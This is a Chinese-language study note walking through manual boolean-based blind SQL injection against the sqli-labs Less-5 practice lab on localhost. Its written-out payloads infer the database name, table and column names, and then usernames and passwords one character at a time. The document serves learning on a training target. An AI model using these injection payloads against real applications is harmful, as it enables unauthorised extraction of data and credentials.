#盲注相关函数(得好好学python来写脚本不然。。。。。。。)
我们进行手工盲注测试,需要用到substr()、length()、ascii()、left()、count()这些sql数据库函数。
ascii(a)将a转换成其ASCII值
ord(a)将a转换成其ASCII值
left(a,b)从左往右截取字符串a的前b个字符
substr(a,b,c)从b位置开始,截取字符串a的c长度
mid(a,b,c)从位置b开始,截取a字符串的c位
以sqli-labs-less 5 作为学习对象
http://localhost/sqli-labs-master/Less-5/?id=1%27
首先我们要用’and (length(database())=n)–+,通过改变n来猜解当前数据库名称长度
如果长度不正确,则会显示不正常
可知数据库名称的长度是8
接下来可以根据数据库名称长度来猜解数据库名字
’ and (left(database(),n)=‘m’)–+
通过改变n值(数字)以及m(字母) 来猜解database()字符串前n个的字母
猜解得出数据库的名称为security
接下来可以猜解当前数据库的表的个数
’ and n=(select count(table_name) from information_schema.tables where table_schema=‘security’)–+
当n=4时,页面返回正常,所以security数据库表的个数为4个
现在该依次猜解4个表的名字
’ and (ascii(substr((select concat(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1),1,1 ))>90)–+
返回正常,说明security数据库的第一个表的第一个字母的ASCII值>90
’ and (ascii(substr((select concat(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1),1,1 ))>n)–+
通过改变n值来判断第一个表的第一个字母的ASCII值
之后依次类推,直到获得需要的表名
…
然后开始查询列名
查询列名的步骤和查询表名的步骤差不多
首先通过该语句查询列的个数’ and (n=(select count(column_name) from information_schema.columns where table_name=‘users’))–+
之后再通过该语句查询列名’ and (ascii(substr((select concat(column_name) from information_schema.columns where table_name=‘users’ limit 0,1),1,1 ))>n)–+
…
最后开始利用得到的列名(username,password)
'and n=(select count(username) from security.users)–+
’ and (ascii(substr((select concat(username) from security.users limit 0,1),1,1 ))>n)–+